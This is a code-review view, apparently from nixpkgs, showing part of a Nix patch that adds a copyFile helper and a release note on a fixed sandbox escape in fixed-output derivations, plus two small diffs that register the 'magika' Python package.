fs::directory_entry & from, const fs::path & to, bool andDelete) 319 - } 320 - } 321 - 322 - + 323 - +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) 324 - +{ 325 - + return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); 326 - +} 327 - + 328 - void renameFile(const Path & oldName, const Path & newName) 329 - { 330 - fs::rename(oldName, newName); 331 - diff --git a/src/libutil/util.hh b/src/libutil/util.hh 332 - index b302d6f45..59d42e0a5 100644 333 - --- a/src/libutil/util.hh 334 - +++ b/src/libutil/util.hh 335 - @@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst); 336 - */ 337 - void moveFile(const Path & src, const Path & dst); 338 - 339 - +/** 340 - + * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is 341 - + * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but 342 - + * with the guaranty that the destination will be “fresh”, with no stale inode 343 - + * or file descriptor pointing to it). 344 - + */ 345 - +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); 346 - 347 - /** 348 - * Wrappers arount read()/write() that read/write exactly the 349 - -- 350 - 2.42.0 351 - 352 - 353 - From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001 354 - From: Tom Bereknyei <tomberek@gmail.com> 355 - Date: Fri, 1 Mar 2024 04:01:23 -0500 356 - Subject: [PATCH 3/3] Add release notes 357 - 358 - Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> 359 - --- 360 - doc/manual/src/release-notes/rl-next.md | 8 ++++++++ 361 - 1 file changed, 8 insertions(+) 362 - 363 - diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md 364 - index c869b5e2f..f77513385 100644 365 - --- a/doc/manual/src/release-notes/rl-next.md 366 - +++ b/doc/manual/src/release-notes/rl-next.md 367 - @@ -1 +1,9 @@ 368 - # Release X.Y (202?-??-??) 369 - + 370 - +- Fix a FOD sandbox escape: 371 - + Cooperating Nix derivations could send file descriptors to files in the Nix 372 - + store to each other via Unix domain sockets in the abstract namespace. This 373 - + allowed one derivation to modify the output of the other derivation, after Nix 374 - + has registered the path as "valid" and immutable in the Nix database. 375 - + In particular, this allowed the output of fixed-output derivations to be 376 - + modified from their expected content. This isn't the case any more. 377 - -- 378 - 2.42.0 379 -
···
+2
pkgs/top-level/all-packages.nix
··· 1085 1086 ruler = callPackage ../tools/security/ruler { }; 1087 1088 mblock-mlink = callPackage ../development/tools/mblock-mlink { }; 1089 1090 mod = callPackage ../development/tools/mod { };
··· 1085 1086 ruler = callPackage ../tools/security/ruler { }; 1087 1088 + magika = with python3Packages; toPythonApplication magika; 1089 + 1090 mblock-mlink = callPackage ../development/tools/mblock-mlink { }; 1091 1092 mod = callPackage ../development/tools/mod { };
+2
pkgs/top-level/python-packages.nix
··· 6917 6918 magic-wormhole-transit-relay = callPackage ../development/python-modules/magic-wormhole-transit-relay { }; 6919 6920 mahotas = callPackage ../development/python-modules/mahotas { }; 6921 6922 mailcap-fix = callPackage ../development/python-modules/mailcap-fix { };
··· 6917 6918 magic-wormhole-transit-relay = callPackage ../development/python-modules/magic-wormhole-transit-relay { }; 6919 6920 + magika = callPackage ../development/python-modules/magika { }; 6921 + 6922 mahotas = callPackage ../development/python-modules/mahotas { }; 6923 6924 mailcap-fix = callPackage ../development/python-modules/mailcap-fix { };